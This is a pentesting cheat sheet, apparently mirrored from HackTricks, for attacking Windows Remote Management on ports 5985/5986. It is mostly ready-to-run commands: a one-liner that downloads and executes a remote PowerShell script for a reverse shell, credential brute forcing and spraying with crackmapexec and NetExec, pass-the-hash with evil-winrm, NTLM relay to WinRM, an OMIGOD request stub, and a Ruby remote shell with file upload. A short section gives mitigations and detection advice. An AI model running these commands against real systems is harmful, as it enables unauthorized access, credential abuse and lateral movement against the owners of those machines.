daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

5985-5986-pentesting-winrm.md (17893B)


      1 ---
      2 title: "5985,5986 - Pentesting WinRM"
      3 section: "Network Services"
      4 sectionSlug: "network-services-pentesting"
      5 sourcePath: "src/network-services-pentesting/5985-5986-pentesting-winrm.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/5985-5986-pentesting-winrm.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # 5985,5986 - Pentesting WinRM
     14 
     15 ## WinRM
     16 
     17 [Windows Remote Management (WinRM)] is Microsoft's implementation of WS-Management. It provides remote management over HTTP(S) using SOAP and can expose WMI data and PowerShell Remoting endpoints.<sup>[[6]](#references)</sup>
     18 
     19 The presence of WinRM on a machine allows for straightforward remote administration via PowerShell, akin to how SSH works for other operating systems. To determine if WinRM is operational, checking for the opening of specific ports is recommended:
     20 
     21 - **5985/tcp (HTTP)**
     22 - **5986/tcp (HTTPS)**
     23 
     24 An open port from the list above signifies that WinRM has been set up, thus permitting attempts to initiate a remote session.
     25 
     26 ### **Initiating a WinRM Session**
     27 
     28 To configure PowerShell for WinRM, Microsoft's `Enable-PSRemoting` cmdlet comes into play, setting up the computer to accept remote PowerShell commands. With elevated PowerShell access, the following commands can be executed to enable this functionality and designate any host as trusted:
     29 
     30 ```bash
     31 Enable-PSRemoting -Force
     32 Set-Item wsman:\localhost\client\trustedhosts *
     33 ```
     34 
     35 This adds every host to `TrustedHosts`, which weakens peer authentication and should only be used in a controlled lab. On Windows clients, `Enable-PSRemoting` may also require changing a **Public** network profile to **Private** or narrowing the firewall rule explicitly.<sup>[[6]](#references)</sup>
     36 
     37 Moreover, WinRM can be **activated remotely** using the `wmic` command, demonstrated as follows:
     38 
     39 ```bash
     40 wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
     41 ```
     42 
     43 This method requires sufficient remote WMI permissions and a reachable WMI/RPC service; the command does not bypass authentication.
     44 
     45 ### Test if configured
     46 
     47 To verify the setup of your attack machine, the `Test-WSMan` command is utilized to check if the target has WinRM configured properly. By executing this command, you should expect to receive details concerning the protocol version and wsmid, indicating successful configuration.<sup>[[1]](#references)</sup> Below are examples demonstrating the expected output for a configured target versus an unconfigured one:
     48 
     49 - For a target that **is** properly configured, the output will look similar to this:
     50 
     51 ```bash
     52 Test-WSMan <target-ip>
     53 ```
     54 
     55 The response should contain information about the protocol version and wsmid, signifying that WinRM is set up correctly.
     56 
     57 ![Initiating a WinRM Session - Test if configured: The response should contain information about the protocol version and wsmid, signifying that WinRM is set up correctly](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28582%29.png)
     58 
     59 - Conversely, a target **not** configured for WinRM will return a connection or WS-Management error instead of those details.
     60 
     61 ![Initiating a WinRM Session - Test if configured: Conversely, for a target not configured for WinRM, the would result in no such detailed information, highlighting the absence of a proper...](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28458%29.png)
     62 
     63 ### Execute a command
     64 
     65 To execute `ipconfig` remotely on a target machine and view its output do:<sup>[[1]](#references)</sup>
     66 
     67 ```bash
     68 Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
     69 ```
     70 
     71 ![Test if configured - Execute a command: Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} (-credential DOMAIN username)](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28151%29.png)
     72 
     73 You can also **execute a command of your current PS console via** _**Invoke-Command**_. Suppose that you have locally a function called _**enumeration**_ and you want to **execute it in a remote computer**, you can do:
     74 
     75 ```bash
     76 Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
     77 ```
     78 
     79 ### Execute a Script
     80 
     81 ```bash
     82 Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
     83 ```
     84 
     85 ### Get reverse-shell
     86 
     87 ```bash
     88 Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
     89 ```
     90 
     91 ### Get a PS session
     92 
     93 To get an interactive PowerShell shell use `Enter-PSSession`:<sup>[[1]](#references)</sup>
     94 
     95 ```bash
     96 #If you need to use different creds
     97 $password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
     98 ## Note the ".\" in the username to indicate that it is a local user (host domain)
     99 $creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
    100 
    101 # Enter
    102 Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
    103 ## Bypass proxy
    104 Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
    105 # Save session in var
    106 $sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
    107 Enter-PSSession $sess
    108 ## Background current PS session
    109 Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)
    110 ```
    111 
    112 ![Save session in var - Background current PS session: Exit-PSSession This will leave it in background if it's inside an env var (New-PSSession...)](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%281009%29.png)
    113 
    114 **The session will run in a new process (wsmprovhost) inside the "victim"**
    115 
    116 ### **Forcing WinRM Open**
    117 
    118 To use PS Remoting and WinRM but the computer isn't configured, you could enable it with:<sup>[[1]](#references)</sup>
    119 
    120 ```bash
    121 .\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
    122 ```
    123 
    124 ### Saving and Restoring sessions
    125 
    126 This **won't work** if the **language mode** is constrained on the remote computer.
    127 
    128 ```bash
    129 #If you need to use different creds
    130 $password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
    131 ## Note the ".\" in the username to indicate that it is a local user (host domain)
    132 $creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
    133 
    134 #You can save a session inside a variable
    135 $sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
    136 #And restore it at any moment doing
    137 Enter-PSSession -Session $sess1
    138 ```
    139 
    140 Inside these sessions, you can load PowerShell scripts using _Invoke-Command_:
    141 
    142 ```bash
    143 Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
    144 ```
    145 
    146 ### Errors
    147 
    148 If you find the following error:
    149 
    150 `enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.`
    151 
    152 Then try the following on the client:<sup>[[4]](#references)</sup>
    153 
    154 ```ruby
    155 winrm quickconfig
    156 winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
    157 ```
    158 
    159 ## WinRM connection in linux
    160 
    161 ### Brute Force
    162 
    163 Be careful: brute-forcing WinRM can lock user accounts. NetExec supports credential checking and spraying with the `winrm` protocol, including paired username/password lists through `--no-bruteforce`.<sup>[[11]](#references)</sup>
    164 
    165 ```ruby
    166 #Brute force
    167 crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
    168 
    169 #Just check a pair of credentials
    170 # Username + Password + CMD command execution
    171 crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
    172 # Username + Hash + PS command execution
    173 crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
    174 #Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm
    175 ```
    176 
    177 ### Using evil-winrm
    178 
    179 ```ruby
    180 gem install evil-winrm
    181 ```
    182 
    183 Read the Evil-WinRM documentation for the complete option set.<sup>[[7]](#references)</sup>
    184 
    185 ```ruby
    186 evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.'  -i <IP>/<Domain>
    187 ```
    188 
    189 To use evil-winrm to connect to an **IPv6 address** create an entry inside _**/etc/hosts**_ setting a **domain name** to the IPv6 address and connect to that domain.
    190 
    191 ### Pass the hash with evil-winrm
    192 
    193 ```ruby
    194 evil-winrm -u <username> -H <Hash> -i <IP>
    195 ```
    196 
    197 ![Using evil-winrm - Pass the hash with evil-winrm: evil-winrm -u -H -i](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28680%29.png)
    198 
    199 ### Using a PS-docker machine
    200 
    201 ```text
    202 docker run -it quickbreach/powershell-ntlm
    203 $creds = Get-Credential
    204 Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
    205 ```
    206 
    207 ### Using a ruby script
    208 
    209 **Code extracted from here:** [**https://alamot.github.io/winrm_shell/**](https://alamot.github.io/winrm_shell/)<sup>[[5]](#references)</sup>
    210 
    211 ```ruby
    212 require 'winrm-fs'
    213 
    214 # Author: Alamot
    215 # To upload a file type: UPLOAD local_path remote_path
    216 # e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
    217 # https://alamot.github.io/winrm_shell/
    218 
    219 
    220 conn = WinRM::Connection.new(
    221   endpoint: 'https://IP:PORT/wsman',
    222   transport: :ssl,
    223   user: 'username',
    224   password: 'password',
    225   :no_ssl_peer_verification => true
    226 )
    227 
    228 
    229 class String
    230   def tokenize
    231     self.
    232       split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
    233       select {|s| not s.empty? }.
    234       map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
    235   end
    236 end
    237 
    238 
    239 command=""
    240 file_manager = WinRM::FS::FileManager.new(conn)
    241 
    242 
    243 conn.shell(:powershell) do |shell|
    244     until command == "exit\n" do
    245         output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
    246         print(output.output.chomp)
    247         command = gets
    248         if command.start_with?('UPLOAD') then
    249             upload_command = command.tokenize
    250             print("Uploading " + upload_command[1] + " to " + upload_command[2])
    251             file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
    252                 puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
    253             end
    254             command = "echo `nOK`n"
    255         end
    256         output = shell.run(command) do |stdout, stderr|
    257             STDOUT.print(stdout)
    258             STDERR.print(stderr)
    259         end
    260     end
    261     puts("Exiting with code #{output.exitcode}")
    262 end
    263 ```
    264 
    265 ## Recent Vulnerabilities & Offensive Techniques
    266 
    267 ### NTLM relay directly to WinRM (WS-MAN)
    268 Current Impacket versions include WinRM/WinRMS relay clients and an interactive WinRM attack handler. Where NTLM relay protections permit it, captured NTLM authentication can be relayed to a **WS-Man** endpoint and used to open a remote shell. Whether the resulting context is highly privileged depends on the relayed account.<sup>[[8]](#references)</sup>
    269 
    270 ```bash
    271 sudo ntlmrelayx.py -t winrm://10.0.0.25 --no-smb-server -smb2support
    272 # Connect to the TCP shell printed by ntlmrelayx after a successful relay.
    273 ```
    274 
    275 Mitigations:
    276 
    277 - Remove unneeded HTTP listeners (`winrm enumerate winrm/config/listener`, followed by `winrm delete winrm/config/Listener?Address=<address>+Transport=HTTP`) and restrict access to required management networks.<sup>[[6]](#references)</sup>
    278 - Prefer HTTPS, disable NTLM where feasible, and enable Extended Protection for Authentication where the deployment supports it.
    279 
    280 ### OMIGOD – CVE-2021-38647 (Azure OMI)
    281 Some Azure Linux agents installed **Open Management Infrastructure (OMI)**, which could expose WS-Man over ports **5985/5986**. CVE-2021-38647 allowed unauthenticated remote code execution as root on vulnerable, network-exposed OMI listeners.<sup>[[3]](#references)</sup>
    282 
    283 ```text
    284 curl http://victim:5985/wsman -H 'Content-Type:text/xml' -d '<xml …/>'
    285 ```
    286 
    287 Patch or remove OMI (version ≥ 1.6.8-1) and block those ports from the Internet. 
    288 
    289 ### WSMan.Automation COM abuse for lateral movement
    290 WinRM can be driven without starting `powershell.exe` through the `WSMan.Automation` COM object. This provides an alternative client path in environments that restrict PowerShell, although the remote endpoint's authorization and language-mode controls still apply. Tools such as *SharpWSManWinRM* wrap this technique.<sup>[[2]](#references)</sup><sup>[[12]](#references)</sup>
    291 
    292 ```powershell
    293 $ws = New-Object -ComObject 'WSMan.Automation'
    294 $session = $ws.CreateSession('http://srv01:5985/wsman',0,$null)
    295 $cmdId   = $session.Command('cmd.exe',@('/c','whoami'))
    296 $session.Signal($cmdId,0)
    297 ```
    298 
    299 The execution chain (`svchost → wmiprvse → cmd.exe`) is identical to classic PS-Remoting. 
    300 
    301 ---
    302 
    303 ## Tooling updates
    304 
    305 * **Evil-WinRM** supports Kerberos (`-r` with optional `-K` ticket and `--spn`), certificate authentication (`-c` public certificate and `-k` private key), session logging (`-l`), and disabling remote path completion (`-N`).<sup>[[7]](#references)</sup>
    306 
    307   ```bash
    308   evil-winrm -i srv01.acme.test -u j.doe -r ACME.TEST --spn HTTP
    309   ```
    310 
    311 * **Python – `pypsrp`** provides WinRM and PowerShell Remoting from Linux, with optional Kerberos and CredSSP dependencies.<sup>[[9]](#references)</sup>
    312 
    313   ```python
    314   from psrp.client import Client
    315   c = Client('srv01', username='ACME\\j.doe', ssl=True)
    316   print(c.execute_cmd('ipconfig /all').std_out.decode())
    317   ```
    318 
    319 * **Detection** – collect the **Microsoft-Windows-WinRM/Operational** log and correlate it with Security event **4624**, including the account, logon type, authentication package, workstation, and source network address. Add process-creation telemetry for `wsmprovhost.exe` and its children, and alert on unexpected external source addresses or unusual administrative commands.<sup>[[10]](#references)</sup>
    320 
    321 ---
    322 
    323 ## Shodan
    324 
    325 - `port:5985 Microsoft-HTTPAPI`
    326 
    327 ## HackTricks Automatic Commands
    328 
    329 ```text
    330 Protocol_Name: WinRM    #Protocol Abbreviation if there is one.
    331 Port_Number:  5985     #Comma separated if there is more than one.
    332 Protocol_Description: Windows Remote Managment        #Protocol Abbreviation Spelled out
    333 
    334 Entry_1:
    335   Name: Notes
    336   Description: Notes for WinRM
    337   Note: |
    338     Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.
    339 
    340     sudo gem install winrm winrm-fs colorize stringio
    341     git clone https://github.com/Hackplayers/evil-winrm.git
    342     cd evil-winrm
    343     ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p ‘MySuperSecr3tPass123!’
    344 
    345     https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/
    346 
    347     ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
    348     ^^so you can upload binary's from that directory        or -s to upload scripts (sherlock)
    349     menu
    350     invoke-binary `tab`
    351 
    352     #python3
    353     import winrm
    354     s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
    355     print(s.run_cmd('ipconfig'))
    356     print(s.run_ps('ipconfig'))
    357 
    358     https://book.hacktricks.wiki/en/network-services-pentesting/5985-5986-pentesting-winrm.html
    359 
    360 Entry_2:
    361   Name: NetExec credential check
    362   Description: Need User
    363   Command: nxc winrm {IP} -u {Username} -p {Big_Passwordlist}
    364 ```
    365 
    366 ​
    367 
    368 ## References
    369 
    370 - [1] [Using Credentials to Own Windows Boxes - Part 3 (WMI and WinRM)](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
    371 - [2] [WS-Management COM: Another Approach for WinRM Lateral Movement](https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/)
    372 - [3] [OMIGOD: Critical Vulnerabilities in OMI Affecting Countless Azure Customers](https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure)
    373 - [4] [Remote PS session fails on non-domain server (ServerFault)](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)
    374 - [5] [WinRM shell in Ruby (alamot)](https://alamot.github.io/winrm_shell/)
    375 - [6] [Microsoft Learn: Installation and configuration for Windows Remote Management](https://learn.microsoft.com/en-us/windows/win32/winrm/installation-and-configuration-for-windows-remote-management)
    376 - [7] [Hackplayers/evil-winrm documentation](https://github.com/Hackplayers/evil-winrm)
    377 - [8] [Impacket WinRM relay attack implementation](https://github.com/fortra/impacket/blob/master/impacket/examples/ntlmrelayx/attacks/winrmattack.py)
    378 - [9] [jborean93/pypsrp documentation](https://github.com/jborean93/pypsrp)
    379 - [10] [Microsoft Learn: Security event 4624](https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4624)
    380 - [11] [NetExec: Using credentials](https://github.com/Pennyw0rth/NetExec-Wiki/blob/main/getting-started/using-credentials.md)
    381 - [12] [WSMan-WinRM](https://github.com/bohops/WSMan-WinRM)